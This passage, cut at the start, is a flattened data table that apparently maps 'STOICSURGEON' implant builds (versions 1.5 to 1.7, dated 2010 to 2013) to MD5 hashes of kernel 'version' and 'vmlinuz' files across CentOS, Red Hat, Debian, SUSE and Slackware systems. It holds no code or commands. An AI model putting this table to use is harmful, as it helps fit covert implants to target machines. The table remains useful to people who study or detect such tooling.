9 2010 +1.6.12.10 fb3408f6288afed2d6823dd302df98c8 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 8eb148197a65a1600b7ea7ff0045544f version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 b53fd93bfe282fb950c20fc393af922b vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 40634bb62ec9b4b1aed2a613ff8056ac version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 0cd56d68b5a2a6629b16b68a8dfb63b7 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 6e26d6e707cc04bce9ede18bee8752cd version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 cc3e25df2bffc0807455bdd199f8ba0c vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 68696db324d05f8fe743d6cb0b291966 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 231ad08a20683885dde99a371534a637 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 4f80eb9447014f414369ae67afa58dd9 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 12907c0f1041621dfa586ba0e02191d2 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 cf2b917f2b459016749c682926c527a2 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 5f5840f9f912307fa50cdeb104f4d495 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 c42334936c0b1a219a6faf471855ffa2 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 2b9cf8d35bc75bf1333c6a5015b1f347 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 84c3c1b2ad3f1c6a9cd81fd7370a606a version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 5da653a4b916284ac80bc77ae40eaf92 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 faf73e67a89e0b8a18f638bc0408d7b5 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 53ba16fa6afaf2c841573f7f2cbdb142 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 3f35a24cf073119ed96ed8a3b9ff5c50 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 3c9e6a7ec1b9eaa3cc295ca5f227265f vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 eeff738237e79b8d1a09db0db16bcc1f version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 c21c47d6057863250671cb9c337a663d vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 37fc7558be801363814d3468b3e6778f version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 07ede78b321b2a3ce63a17949b279bde vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 c3c30a7f7e4be5580e42265e4a6e8210 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 51fe48830078a269bbd078b294441010 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 9f17e4d0fdd798a94d814211abd99b92 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 a30b61b182e6f1bbd75aec9b9efb5483 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 3acd85d4c6c0ecd1be296a43d01c31be version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 db31e36d13e456e71fc79fe7757f4629 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 a9629e9eca4c57d1e80e9a5b47e64033 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 60bbac0a6d8d744acac718de750ef7ad vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 430e37a5c41d8e4d53c375df54610fe3 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 ae2d0805234bf988741ef4a59b7c6ab8 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 a863a896ee04c53059da0693739c0d37 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 55536fe0ebbb77287dd14874fe380201 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 c7a718f6a2fb643cb410769617e447ee version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 4668582b8d5c5a22d19c327424c7fbef vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 bbd0b244e6a79e87d401a86498b40e05 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 f7bc652195038723290bf39f27f97793 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 e983a87f4851c7726ff3514b911c8333 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 1f5712c4d1e383ae461011804df66e29 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 0648630270ad4e234ebd21b615027f8c version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 7fd86cd51d76c3408f15170fb792f6d4 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 fe3fe80816effc079587c9140e15ef48 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 2086f3e500eb13d8f38d79951efb7859 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 744b575bd5247ca4310e7f17c0875514 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 76fdb9ecaace7c7fb63730f6a7f29d22 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 4e7db16e886feeb926205030547753fe version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 324cc51bc50bfbc9e46f1ce52c884105 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 7af6a623a2664fadc8c4c3e566424617 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 3c979562f9725dbea63dc63fd74d5121 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 26465a3ce44083794ffd0593eb889de1 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 7db0cba73b77fe3aeedbb2acfec2e7ef vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 dd9d1e54d9e87d76f05c19aa11c39387 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 830b4b952a3f2afcc5edcd8362c2384c vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 1f26ac9f66524d7382a764ed6c909403 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 85fdc22b62f056d27e6fc16734ecd2d3 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 00603c6fd174a885f768afc2f6ed3c91 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 b4fc942aba1d9f47852921a8b5b941eb vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 1d5d005fdb854e2fe6556d9c7af38cd0 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 660cb72e6fb33698eb0d762488c8520f vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 7bfdc1a04fc3fcad1d3fdea3a3625c89 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 7f112f5b98d033de776812fd70607ff6 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 6e0eae611b08ed47273e65ceda2cafa5 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 55602238e25d597228f895adfa858c44 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 2db02e993a5ec18cee3571f86865cb9b version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 3a026a5ccb06ba3d4f76f192c03fbc52 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 f5a4544662d1903a8d1e2a0355d5006b version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 4ba0b2b2f058a1dce57d4f92b701b17e vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 fce7900a334149ddd4efa985e5050358 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 3ef5ffc4fa0cf18844a376b91d129ea2 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 c915a6e5794f7dab06eebb06a8c7c985 version STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.6.12.10 9694a878929932088b9602a4e446279c vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-4.8 Thu Dec 9 2010 +1.7.6.5 97113a4f26f0ef7ba9e00d2f542adff7 version STOICSURGEON-X86-LINUX-REDHAT-7.1-TILTTOP Mon Jul 11 2011 +1.7.6.5 ac794fcc2ccb725919e8cbb7f358d2cd vmlinuz STOICSURGEON-X86-LINUX-REDHAT-7.1-TILTTOP Mon Jul 11 2011 +1.7.6.5 29adc81ebe96cae913e83b381e3f0200 version STOICSURGEON-X86-LINUX-REDHAT-7.1-TILTTOP Mon Jul 11 2011 +1.7.6.5 bf800fdb4b925c82670abc5ef292bac7 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-7.1-TILTTOP Mon Jul 11 2011 +1.7.6.5 8b7cef40050d24391f20746ad87ef55a version STOICSURGEON-X86-LINUX-REDHAT-7.1-TILTTOP Mon Jul 11 2011 +1.7.6.5 502f7d62cb8f5ca4f066a8c67514013c vmlinuz STOICSURGEON-X86-LINUX-REDHAT-7.1-TILTTOP Mon Jul 11 2011 +1.6.14.8 416cbaf1f00c180cd71ef9c7ea4af1f3 version STOICSURGEON-X86-LINUX-DEBIAN-3.1-DARKSCREW Thu Dec 30 2010 +1.6.14.8 040f41a68c6feb521b1b01f17dd0cd70 vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-3.1-DARKSCREW Thu Dec 30 2010 +1.6.14.8 c8a3906a81fe59ee1acb38a84e67bc15 version STOICSURGEON-X86-LINUX-DEBIAN-3.1-DARKSCREW Thu Dec 30 2010 +1.6.14.8 8dfc78d642b2abe3bb6fe5941272e43f vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-3.1-DARKSCREW Thu Dec 30 2010 +1.6.16.2 7a90130ee5d446aeaf2d495014f94b25 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.1 Tue Jan 18 2011 +1.6.16.2 6d6a988ea5764de56d590bb9d2e8d606 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.1 Tue Jan 18 2011 +1.6.16.2 cff94952e929bfff4b08b007be5edf83 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.1 Tue Jan 18 2011 +1.6.16.2 d3e01b07a6d10936eb4623a8895b4ece vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.1 Tue Jan 18 2011 +1.6.16.2 ac1494cfe6e1f069d50ccc5446d266be version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.1 Tue Jan 18 2011 +1.6.16.2 2116621abb6bd7da26a67e3b5566577c vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.1 Tue Jan 18 2011 +1.6.16.2 20f4b46d3a3177b0921b45c60e020f12 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.1 Tue Jan 18 2011 +1.6.16.2 f920040c875d67581eff931a34c2f747 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.1 Tue Jan 18 2011 +1.6.16.2 1b15ff80c4c93afec2963ffa4f68ab3e version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.1 Tue Jan 18 2011 +1.6.16.2 5eec98780bef1d0f9eb30d60c9ba1fbd vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.1 Tue Jan 18 2011 +1.6.16.2 35cdf3b00726112819cbdbc09f1338b2 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.1 Tue Jan 18 2011 +1.6.16.2 4005b1a0d43cf595a96a7995ae4ad4d3 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.1 Tue Jan 18 2011 +1.6.17.1 4d37084b017340d8ae300491c56182ec version STOICSURGEON-X86-LINUX-SLACKWARE-10.2-VINIFERA Mon Jan 24 2011 +1.6.17.1 2ab9601bc06e865c4ecc7b5e6a59a8ea vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-10.2-VINIFERA Mon Jan 24 2011 +1.6.17.1 18b0a110e5a9b435e3671d713b94eaff version STOICSURGEON-X86-LINUX-SLACKWARE-10.2-VINIFERA Mon Jan 24 2011 +1.6.17.1 f11b86d5a868fe7db20f9c7563f7ca7a vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-10.2-VINIFERA Mon Jan 24 2011 +1.6.17.1 d5bbdfbc7849639a4b9066f8acc6ae2c version STOICSURGEON-X86-LINUX-SLACKWARE-10.2-VINIFERA Mon Jan 24 2011 +1.6.17.1 2599376dcaefca493d289e98f8bbeb6e vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-10.2-VINIFERA Mon Jan 24 2011 +1.6.17.3 231bec930c05f3abeee6a674b6caf15d version STOICSURGEON-X86-LINUX-REDHAT-9.0-OPTIMUSPRIME Thu Jan 27 2011 +1.6.17.3 7b79436e41d3bd12cf2830ead6e604e6 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-9.0-OPTIMUSPRIME Thu Jan 27 2011 +1.6.4.5 cf4cffd35b1b29d4d45377d8a6ec4121 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Tue Oct 5 2010 +1.6.4.5 e1efdc2b660e1a002616cf4a735052eb vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Tue Oct 5 2010 +1.6.4.5 76cb4b7965b1868e75ba75922c59ce9f version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Tue Oct 5 2010 +1.6.4.5 982c2afe492987cc573c56d1d883d150 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Tue Oct 5 2010 +1.6.4.5 039f5609137a53df8da0e0d56f06e580 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Tue Oct 5 2010 +1.6.4.5 0a07b98e51c7611c5b4ee2439f38a45e vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Tue Oct 5 2010 +1.6.4.5 38d9c24001d74158c7e99f148aa26030 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Tue Oct 5 2010 +1.6.4.5 afb39c55b3c974c5a3ddcfa351f18ff2 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Tue Oct 5 2010 +1.6.4.5 5a6f7085c1c2e3943df1a0536a51ec27 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Tue Oct 5 2010 +1.6.4.5 a371823205ffc5925e46e40f5097c5cd vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Tue Oct 5 2010 +1.7.26.2 cf4cffd35b1b29d4d45377d8a6ec4121 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 e1efdc2b660e1a002616cf4a735052eb vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 37f11a7563bcf6f52bdeeb57e1698d8f version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 4b149a0b541f1d861bba41cd680c22e7 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 5450ab1b10a4e414db4179643a95457f version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 3d69916edd3215efcac10f8f0efaba0d vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 ef0ae7c5007fe0b5b759da7a3d823fee version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 4b956f05fb11fbe52b4146898b3a8819 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 69a34fe41c0a2ad22fcf374bedda456d version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 809f09c4f73752fd45eb8a32a46d9581 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 161953f92ea91a2d18728e7dfcd4125e version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 8d04caad95bcebe344d9ba5285fc9cbf vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 38d9c24001d74158c7e99f148aa26030 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 afb39c55b3c974c5a3ddcfa351f18ff2 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 124ecc684ef53012a02af6628eb44ad4 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 c160582cbd055a2e80a33c056a3e75c9 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 76cb4b7965b1868e75ba75922c59ce9f version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 982c2afe492987cc573c56d1d883d150 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 85483dfae675d59d3bf9eeb3728a91d5 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 195a23219f14ede921ebe9aa08e7e9f7 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 f7e9705aaf3ed3c851783ebcd81caf06 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 eb4966e827e6430e0f75692787dc6a59 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 da61cb401f86e63063fa7079a403dd37 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 deabdd9406f55bb9ecd3ddc7c15d10a0 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 35c0b2c9acb837e687e419f1242832cd version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 66a3c3b6b8c634e19cc456bb7f248f69 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 b822b343b49b241fadd7a51c5fdcee93 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 d5363af41458eef6bb7d08dd7cac97bf vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 5a6f7085c1c2e3943df1a0536a51ec27 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 a371823205ffc5925e46e40f5097c5cd vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 004cc3c0e1d23a8fea96a4a70e7a3be3 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.7.26.2 aca053c7224016cfb0bc92b12792c35e vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Fri Apr 13 2012 +1.5.26.4 cf4cffd35b1b29d4d45377d8a6ec4121 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Wed Jun 16 2010 +1.5.26.4 e1efdc2b660e1a002616cf4a735052eb vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Wed Jun 16 2010 +1.5.26.4 76cb4b7965b1868e75ba75922c59ce9f version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Wed Jun 16 2010 +1.5.26.4 982c2afe492987cc573c56d1d883d150 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.2 Wed Jun 16 2010 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 5e988bb4261ef62c9bfb83c7f112f796 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 fd3225cf51bdb512f17f1391f0ea1e63 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 81b789120d3240d0e524bd6fcdb8277d version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 891d42b85d2a323fa4f456b3b00ef071 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 d4c213bce0f893bc98d1418b131cecc4 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 dd784e446d715a452a3d48eaf9dbe665 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 3e893bdca4d6e97fd19af29190daf210 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 e352d5912ae8ffd8a20054824efc2326 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.1 Tue May 7 2013 +1.7.56.17 